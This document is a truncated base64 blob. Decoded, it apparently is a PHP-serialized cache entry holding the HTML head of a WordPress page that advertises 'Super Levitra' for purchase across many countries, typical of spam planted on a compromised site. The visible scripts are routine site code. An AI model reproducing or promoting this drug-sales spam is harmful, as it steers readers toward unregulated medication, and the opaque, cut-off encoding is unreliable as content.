YToyOntzOjU6Im5pY2hlIjtzOjEzOiJzdXBlciBsZXZpdHJhIjtzOjQ6Imh0bWwiO3M6NzQ0MjQ6IjwhZG9jdHlwZSBodG1sPgoKCjxodG1sIGNsYXNzPSJuby1qcyIgbGFuZz0iZW4tVVMiPgoKCTxoZWFkPgoJCQo8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vYXJjaGl2ZSI+CjxtZXRhIGNoYXJzZXQ9IlVURi04IiAvPgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+dmFyIHVhID0gbmF2aWdhdG9yLnVzZXJBZ2VudDsgdmFyIG1ldGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdtZXRhJyk7aWYoKHVhLnRvTG93ZXJDYXNlKCkuaW5kZXhPZignYW5kcm9pZCcpID4gLTEgJiYgdWEudG9Mb3dlckNhc2UoKS5pbmRleE9mKCdtb2JpbGUnKSkgfHwgKCh1YS5tYXRjaCgvaVBob25lL2kpKSB8fCAodWEubWF0Y2goL2lQYWQvaSkpKSl7IG1ldGEubmFtZSA9ICd2aWV3cG9ydCc7CW1ldGEuY29udGVudCA9ICd0YXJnZXQtZGVuc2l0eWRwaT1kZXZpY2UtZHBpLCB3aWR0aD1kZXZpY2Utd2lkdGgnOyB9dmFyIG0gPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzBdOyBtLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKG1ldGEsbSk7PC9zY3JpcHQ+IAkJPG1ldGEgbmFtZT0iQXV0aG9yIiBjb250ZW50PSJBaXRUaGVtZXMuY2x1YiwgaHR0cDovL3d3dy5haXQtdGhlbWVzLmNsdWIiIC8+CgoJCTx0aXRsZT5QdXJjaGFzZSBTdXBlciBMZXZpdHJhIGluIEplcnNleSBTdC4gSGVsaWVyPC90aXRsZT4KPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlB1cmNoYXNlIFN1cGVyIExldml0cmEgaW4gTGF0dmlhIFJpZ2EuIFN1cGVyIExldml0cmEgcHJpY2UgLSBDaGVhcGVzdCBQaWxscy4gU2hvcCBTdXBlciBMZXZpdHJhIGluIEVhc3RlciBJc2xhbmQgSGFuZ2EgUm9hLiBCdXkgU3VwZXIgTGV2aXRyYSBpbiBQZXJ1IExpbWEuIFN1cGVyIExldml0cmEgIC0gSGVhbHRoIEJlbmVmaXRzLiBPcmRlciBTdXBlciBMZXZpdHJhIGluIEFrcm90aXJpIGFuZCBEaGVrZWxpYSBFcGlza29waSBDYW50b25tZW50LiBTaG9wIFN1cGVyIExldml0cmEgaW4gU3VkYW4gS2hhcnRvdW0uIE9yZGVyIFN1cGVyIExldml0cmEgaW4gU2FpbnQgTWFydGluIE1hcmlnb3QuIE9yZGVyIFN1cGVyIExldml0cmEgaW4gS2VueWEgTmFpcm9iaS4iPgoJCTxsaW5rIHJlbD0icHJvZmlsZSIgaHJlZj0iaHR0cDovL2dtcGcub3JnL3hmbi8xMSIgLz4KCQk8bGluayByZWw9InBpbmdiYWNrIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3htbHJwYy5waHAiIC8+CgoJCTxsaW5rIGhyZWY9Imh0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9zd2FsZCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCgkJPGxpbmsgaWQ9ImFpdC1zdHlsZSIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9ImFsbCIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3Rvcnkvc3R5bGUuY3NzPzE1MTY0NDUxMTMiIC8+Cgo8bGluayByZWw9J2Rucy1wcmVmZXRjaCcgaHJlZj0nLy9tYXBzLmdvb2dsZS5jb20nIC8+CjxsaW5rIHJlbD0nZG5zLXByZWZldGNoJyBocmVmPScvL3Mudy5vcmcnIC8+CgoKCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CgkJCXdpbmRvdy5fd3BlbW9qaVNldHRpbmdzID0geyJiYXNlVXJsIjoiaHR0cHM6XC9cL3Mudy5vcmdcL2ltYWdlc1wvY29yZVwvZW1vamlcLzExXC83Mng3MlwvIiwiZXh0IjoiLnBuZyIsInN2Z1VybCI6Imh0dHBzOlwvXC9zLncub3JnXC9pbWFnZXNcL2NvcmVcL2Vtb2ppXC8xMVwvc3ZnXC8iLCJzdmdFeHQiOiIuc3ZnIiwic291cmNlIjp7ImNvbmNhdGVtb2ppIjoiaHR0cDpcL1wvd3d3LnNvY2lhbG1lZGlhcnMuY29tXC93cC1pbmNsdWRlc1wvanNcL3dwLWVtb2ppLXJlbGVhc2UubWluLmpzP3Zlcj00LjkuMTAifX07CgkJCSFmdW5jdGlvbihhLGIsYyl7ZnVuY3Rpb24gZChhLGIpe3ZhciBjPVN0cmluZy5mcm9tQ2hhckNvZGU7bC5jbGVhclJlY3QoMCwwLGsud2lkdGgsay5oZWlnaHQpLGwuZmlsbFRleHQoYy5hcHBseSh0aGlzLGEpLDAsMCk7dmFyIGQ9ay50b0RhdGFVUkwoKTtsLmNsZWFyUmVjdCgwLDAsay53aWR0aCxrLmhlaWdodCksbC5maWxsVGV4dChjLmFwcGx5KHRoaXMsYiksMCwwKTt2YXIgZT1rLnRvRGF0YVVSTCgpO3JldHVybiBkPT09ZX1mdW5jdGlvbiBlKGEpe3ZhciBiO2lmKCFsfHwhbC5maWxsVGV4dClyZXR1cm4hMTtzd2l0Y2gobC50ZXh0QmFzZWxpbmU9InRvcCIsbC5mb250PSI2MDAgMzJweCBBcmlhbCIsYSl7Y2FzZSJmbGFnIjpyZXR1cm4hKGI9ZChbNTUzNTYsNTY4MjYsNTUzNTYsNTY4MTldLFs1NTM1Niw1NjgyNiw4MjAzLDU1MzU2LDU2ODE5XSkpJiYoYj1kKFs1NTM1Niw1NzMzMiw1NjEyOCw1NjQyMyw1NjEyOCw1NjQxOCw1NjEyOCw1NjQyMSw1NjEyOCw1NjQzMCw1NjEyOCw1NjQyMyw1NjEyOCw1NjQ0N10sWzU1MzU2LDU3MzMyLDgyMDMsNTYxMjgsNTY0MjMsODIwMyw1NjEyOCw1NjQxOCw4MjAzLDU2MTI4LDU2NDIxLDgyMDMsNTYxMjgsNTY0MzAsODIwMyw1NjEyOCw1NjQyMyw4MjAzLDU2MTI4LDU2NDQ3XSksIWIpO2Nhc2UiZW1vamkiOnJldHVybiBiPWQoWzU1MzU4LDU2NzYwLDk3OTIsNjUwMzldLFs1NTM1OCw1Njc2MCw4MjAzLDk3OTIsNjUwMzldKSwhYn1yZXR1cm4hMX1mdW5jdGlvbiBmKGEpe3ZhciBjPWIuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7Yy5zcmM9YSxjLmRlZmVyPWMudHlwZT0idGV4dC9qYXZhc2NyaXB0IixiLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0uYXBwZW5kQ2hpbGQoYyl9dmFyIGcsaCxpLGosaz1iLmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLGw9ay5nZXRDb250ZXh0JiZrLmdldENvbnRleHQoIjJkIik7Zm9yKGo9QXJyYXkoImZsYWciLCJlbW9qaSIpLGMuc3VwcG9ydHM9e2V2ZXJ5dGhpbmc6ITAsZXZlcnl0aGluZ0V4Y2VwdEZsYWc6ITB9LGk9MDtpPGoubGVuZ3RoO2krKyljLnN1cHBvcnRzW2pbaV1dPWUoaltpXSksYy5zdXBwb3J0cy5ldmVyeXRoaW5nPWMuc3VwcG9ydHMuZXZlcnl0aGluZyYmYy5zdXBwb3J0c1tqW2ldXSwiZmxhZyIhPT1qW2ldJiYoYy5zdXBwb3J0cy5ldmVyeXRoaW5nRXhjZXB0RmxhZz1jLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnJiZjLnN1cHBvcnRzW2pbaV1dKTtjLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnPWMuc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWcmJiFjLnN1cHBvcnRzLmZsYWcsYy5ET01SZWFkeT0hMSxjLnJlYWR5Q2FsbGJhY2s9ZnVuY3Rpb24oKXtjLkRPTVJlYWR5PSEwfSxjLnN1cHBvcnRzLmV2ZXJ5dGhpbmd8fChoPWZ1bmN0aW9uKCl7Yy5yZWFkeUNhbGxiYWNrKCl9LGIuYWRkRXZlbnRMaXN0ZW5lcj8oYi5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixoLCExKSxhLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGgsITEpKTooYS5hdHRhY2hFdmVudCgib25sb2FkIixoKSxiLmF0dGFjaEV2ZW50KCJvbnJlYWR5c3RhdGVjaGFuZ2UiLGZ1bmN0aW9uKCl7ImNvbXBsZXRlIj09PWIucmVhZHlTdGF0ZSYmYy5yZWFkeUNhbGxiYWNrKCl9KSksZz1jLnNvdXJjZXx8e30sZy5jb25jYXRlbW9qaT9mKGcuY29uY2F0ZW1vamkpOmcud3BlbW9qaSYmZy50d2Vtb2ppJiYoZihnLnR3ZW1vamkpLGYoZy53cGVtb2ppKSkpfSh3aW5kb3csZG9jdW1lbnQsd2luZG93Ll93cGVtb2ppU2V0dGluZ3MpOwoJCTwvc2NyaXB0PgoJCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmltZy53cC1zbWlsZXksCmltZy5lbW9qaSB7CglkaXNwbGF5OiBpbmxpbmUgIWltcG9ydGFudDsKCWJvcmRlcjogbm9uZSAhaW1wb3J0YW50OwoJYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50OwoJaGVpZ2h0OiAxZW0gIWltcG9ydGFudDsKCXdpZHRoOiAxZW0gIWltcG9ydGFudDsKCW1hcmdpbjogMCAuMDdlbSAhaW1wb3J0YW50OwoJdmVydGljYWwtYWxpZ246IC0wLjFlbSAhaW1wb3J0YW50OwoJYmFja2dyb3VuZDogbm9uZSAhaW1wb3J0YW50OwoJcGFkZGluZzogMCAhaW1wb3J0YW50Owp9Cjwvc3R5bGU+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2Nzcy9zdHlsZXMuY3NzP3Zlcj00LjkuMicgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3JzLXBsdWdpbi1zZXR0aW5ncy1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcnMtcGx1Z2luL2Nzcy9zZXR0aW5ncy5jc3M/cmV2PTQuNi4wJiMwMzg7dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxzdHlsZSBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWlubGluZS1jc3MnIHR5cGU9J3RleHQvY3NzJz4KLnRwLWNhcHRpb24gYXtjb2xvcjojZmY3MzAyO3RleHQtc2hhZG93Om5vbmU7LXdlYmtpdC10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1tb3otdHJhbnNpdGlvbjphbGwgMC4ycyBlYXNlLW91dDstby10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1tcy10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0fS50cC1jYXB0aW9uIGE6aG92ZXJ7Y29sb3I6I2ZmYTkwMn0KPC9zdHlsZT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1wcmV0dHlQaG90by1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL3ByZXR0eVBob3RvLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1mYW5jeWJveC1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2ZhbmN5Ym94L2pxdWVyeS5mYW5jeWJveC0xLjMuNC5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2FpdC1qcXVlcnktaG92ZXItem9vbS1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2hvdmVyWm9vbS5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2FpdC1qcXVlcnktZmFuY3ljaGVja2JveC1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2pxdWVyeS5mYW5jeWNoZWNrYm94Lm1pbi5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2pxdWVyeS11aS1jc3MtY3NzJyAgaHJlZj0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2Nzcy9qcXVlcnktdWktMS4xMC4xLmN1c3RvbS5taW4uY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnkuanM/dmVyPTEuMTIuNCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS1taWdyYXRlLm1pbi5qcz92ZXI9MS40LjEnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9kaXJlY3RvcnktZXh0ZW5zaW9uLXBsdWdpbi8vbGlicy9mcm9udEVuZFNjcmlwdHMuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2pxdWVyeS5qY2Fyb3VzZWwubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9kaXJlY3RvcnktZXh0ZW5zaW9uLXBsdWdpbi8vbGlicy9iZl9zY3JpcHQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3JzLXBsdWdpbi9qcy9qcXVlcnkudGhlbWVwdW5jaC50b29scy5taW4uanM/cmV2PTQuNi4wJiMwMzg7dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9ycy1wbHVnaW4vanMvanF1ZXJ5LnRoZW1lcHVuY2gucmV2b2x1dGlvbi5taW4uanM/cmV2PTQuNi4wJiMwMzg7dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5mYW5jeWNoZWNrYm94Lm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5Lmh0bWw1LXBsYWNlaG9sZGVyLXNoaW0uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9tYXBzLmdvb2dsZS5jb20vbWFwcy9hcGkvanM/a2V5PUFJemFTeUQxbmh5ckpyeUhRRTBONk9RaGtvcXdFTEJNMHhPNTBOSSYjMDM4O3NlbnNvcj1mYWxzZSYjMDM4O2xhbmd1YWdlPWVuX1VTJiMwMzg7dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2dtYXAzLmluZm9ib3guanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2dtYXAzLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmluZmllbGRsYWJlbC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LnByZXR0eVBob3RvLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuZmFuY3lib3gtMS4zLjQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5lYXNpbmctMS4zLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5Lm5pY2VzY3JvbGwubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkucXVpY2tzYW5kLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9ob3Zlci56b29tLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuZmluaXNoZWRUeXBpbmcuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL3NwaW4ubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9tb2Rlcm5penIudG91Y2guanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9ncmlkZ2FsbGVyeS5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL3JhdGluZy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgovKiA8IVtDREFUQVsgKi8KdmFyIE15QWpheCA9IHsiYWpheHVybCI6Imh0dHA6XC9cL3d3dy5zb2NpYWxtZWRpYXJzLmNvbVwvd3AtYWRtaW5cL2FkbWluLWFqYXgucGhwIiwiYWpheG5vbmNlIjoiZDg5OWJhNjViNCJ9OwovKiBdXT4gKi8KPC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9zY3JpcHQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxsaW5rIHJlbD0naHR0cHM6Ly9hcGkudy5vcmcvJyBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWpzb24vJyAvPgo8bGluayByZWw9IkVkaXRVUkkiIHR5cGU9ImFwcGxpY2F0aW9uL3JzZCt4bWwiIHRpdGxlPSJSU0QiIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20veG1scnBjLnBocD9yc2QiIC8+CjxsaW5rIHJlbD0id2x3bWFuaWZlc3QiIHR5cGU9ImFwcGxpY2F0aW9uL3dsd21hbmlmZXN0K3htbCIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy93bHdtYW5pZmVzdC54bWwiIC8+IAo8bGluayByZWw9ImNhbm9uaWNhbCIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9mZWVkLyIgPgo8bGluayByZWw9J3Nob3J0bGluaycgaHJlZj0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9mZWVkLycgLz4KCgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CihmdW5jdGlvbih1cmwpewoJaWYoLyg/OkNocm9tZVwvMjZcLjBcLjE0MTBcLjYzIFNhZmFyaVwvNTM3XC4zMXxXb3JkZmVuY2VUZXN0TW9uQm90KS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSl7IHJldHVybjsgfQoJdmFyIGFkZEV2ZW50ID0gZnVuY3Rpb24oZXZ0LCBoYW5kbGVyKSB7CgkJaWYgKHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKSB7CgkJCWRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoZXZ0LCBoYW5kbGVyLCBmYWxzZSk7CgkJfSBlbHNlIGlmICh3aW5kb3cuYXR0YWNoRXZlbnQpIHsKCQkJZG9jdW1lbnQuYXR0YWNoRXZlbnQoJ29uJyArIGV2dCwgaGFuZGxlcik7CgkJfQoJfTsKCXZhciByZW1vdmVFdmVudCA9IGZ1bmN0aW9uKGV2dCwgaGFuZGxlcikgewoJCWlmICh3aW5kb3cucmVtb3ZlRXZlbnRMaXN0ZW5lcikgewoJCQlkb2N1bWVudC5yZW1vdmVFdmVudExpc3RlbmVyKGV2dCwgaGFuZGxlciwgZmFsc2UpOwoJCX0gZWxzZSBpZiAod2luZG93LmRldGFjaEV2ZW50KSB7CgkJCWRvY3VtZW50LmRldGFjaEV2ZW50KCdvbicgKyBldnQsIGhhbmRsZXIpOwoJCX0KCX07Cgl2YXIgZXZ0cyA9ICdjb250ZXh0bWVudSBkYmxjbGljayBkcmFnIGRyYWdlbmQgZHJhZ2VudGVyIGRyYWdsZWF2ZSBkcmFnb3ZlciBkcmFnc3RhcnQgZHJvcCBrZXlkb3duIGtleXByZXNzIGtleXVwIG1vdXNlZG93biBtb3VzZW1vdmUgbW91c2VvdXQgbW91c2VvdmVyIG1vdXNldXAgbW91c2V3aGVlbCBzY3JvbGwnLnNwbGl0KCcgJyk7Cgl2YXIgbG9nSHVtYW4gPSBmdW5jdGlvbigpIHsKCQl2YXIgd2ZzY3IgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKCQl3ZnNjci50eXBlID0gJ3RleHQvamF2YXNjcmlwdCc7CgkJd2ZzY3IuYXN5bmMgPSB0cnVlOwoJCXdmc2NyLnNyYyA9IHVybCArICcmcj0nICsgTWF0aC5yYW5kb20oKTsKCQkoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKVswXXx8ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2JvZHknKVswXSkuYXBwZW5kQ2hpbGQod2ZzY3IpOwoJCWZvciAodmFyIGkgPSAwOyBpIDwgZXZ0cy5sZW5ndGg7IGkrKykgewoJCQlyZW1vdmVFdmVudChldnRzW2ldLCBsb2dIdW1hbik7CgkJfQoJfTsKCWZvciAodmFyIGkgPSAwOyBpIDwgZXZ0cy5sZW5ndGg7IGkrKykgewoJCWFkZEV2ZW50KGV2dHNbaV0sIGxvZ0h1bWFuKTsKCX0KfSkoJy8vd3d3LnNvY2lhbG1lZGlhcnMuY29tLz93b3JkZmVuY2VfbGg9MSZoaWQ9RDFENzk1NzMxODVFREZGOERENEU5QkE5MTFBNzREQTAnKTsKPC9zY3JpcHQ+PGxpbmsgcmVsPSJpY29uIiBocmVmPSJodHRwOi